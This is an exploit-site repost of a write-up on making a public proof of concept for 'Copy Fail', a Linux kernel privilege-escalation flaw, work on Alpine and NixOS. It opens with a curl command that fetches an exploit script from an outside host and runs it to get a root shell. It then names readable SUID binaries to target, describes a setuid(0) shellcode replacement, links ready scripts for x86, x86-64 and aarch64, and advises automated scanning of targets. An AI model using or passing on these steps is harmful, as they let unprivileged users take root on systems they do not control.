## https://sploitus.com/exploit?id=F75C66F3-2C0B-52FB-93A3-006F8DFF1DE9
# Copy Fail
## TL;DR
```
$ curl https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x86.py >poc.py
$ python3 poc.py
# id
uid=0(root) ...
```
## Description
[Copy Fail](https://copy.fail) is a Local Privilege Escalation vulnerability
in the Linux cryptography subsystem present in kernel versions from 4.14 to 6.18.22/6.19.12.
It was found by Theori researchers with the help of Xint Code.
[See the detailed write-up here](https://xint.io/blog/copy-fail-linux-distributions)
This vulnerability allows to overwrite page cache (in-memory file cache).
Particularly, we're interested in modifying the contents of a binary with SUID bit set,
e. g. `/usr/bin/su`.
But the original PoC doesn't work at least on Alpine Linux and NixOS.
Why?
## Problem
1. The exploit requires the target SUID binary to be *readable* by the current user. \
Some distros are more concerned about security than others, so they (long before Copy Fail was published)
made `su` *executable* but *not readable* — it's permissions are `--s--x--x`. \
PoC script fails with `Permission denied`.
2. The embedded shellcode of the PoC, an x86-64 static ELF, calls `/bin/sh` without any arguments
(`argv` is set to `NULL`), so `sh` does *not* get even the 0th argument that should contain the binary path. \
Alpine's `sh` is a symlink to Busybox. Busybox reads `argv[0]` to distinguish which applet to run
by looking at the executed binary name. \
PoC script fails to run a shell with a message: `: applet not found`.
## Solution
1. Find a different SUID program that is readable.
By default, `su`, `passwd` and `mount` are all provided by Busybox and symlinked to `bbsuid`,
which makes it impossible to run an exploit against these binaries. \
If either doas, sudo or polkit is installed on the target system,
`/usr/bin/doas`, `sudo` or `pkexec` (respectively) can be used to exploit Copy Fail.
For some reason, these third-party packages are not secured the same way as bbsuid
and the listed binaries are readable to anyone. \
If shadow is installed on the target system,
`/usr/bin/passwd`, `chsh` or `chfn` can be used to exploit Copy Fail.
2. Replace the embedded shellcode.
This is not a trivial task since the exploit requires a very small binary,
because we're overwriting the page cache by 4-byte chunks,
opening a new `AF_ALG` socket every time, so even an 8K file hits ulimit. \
I, as a non-expert in the infosec, can't write shellcode by hand,
but can reimplement the logic in Assembler without using any C runtime,
doing syscalls directly.
And, indeed, that reduced the binary size to only 800 bytes
(but only when using LLVM's LLD as a linker). \
Note: we can't just put a shell script here, like `#!/bin/sh\nsh -i`,
because SUID bit gives an Effective UID of an owner, but not a Real UID,
and, for security reasons, any shell including ash and bash,
drop root privileges in such case.
That's why the provided shellcode calls `setuid(0)` first.
## Ready script
Fixed PoC script is published here:
* [x86](https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x86.py)
* [x86-64](https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x64.py)
Note: x86 runs on x86-64 too and is a bit smaller.
* [aarch64](https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.arm64.py)
`/usr/bin/doas` is hard-coded as a target SUID binary. Replace if needed.
Ideally, in case you are writing an automated script, you should scan a system
for readable SUID programs and run the exploit on them.
To restore the overwritten program, run `echo 3 >/proc/sys/vm/drop_caches` as root.